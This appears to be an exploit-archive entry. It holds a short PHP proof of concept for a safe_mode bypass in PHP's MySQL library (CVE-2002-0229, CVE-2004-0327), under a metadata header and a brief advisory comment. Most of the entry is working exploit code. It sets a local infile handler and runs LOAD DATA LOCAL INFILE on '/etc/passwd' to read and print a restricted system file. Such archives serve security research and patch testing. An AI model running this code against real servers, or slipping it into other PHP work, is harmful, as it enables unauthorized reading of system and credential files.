PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (3)
Author: anonymous
type: remote
platform: php
port:
date_added: 2002-02-03
date_updated: 2012-09-11
verified: 1
codes: CVE-2004-0327;OSVDB-4026;CVE-2002-0229
tags:
aliases:
screenshot_url:
application_url:
<?php
/*
source: https://www.securityfocus.com/bid/4026/info
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/
function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}
$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();
?>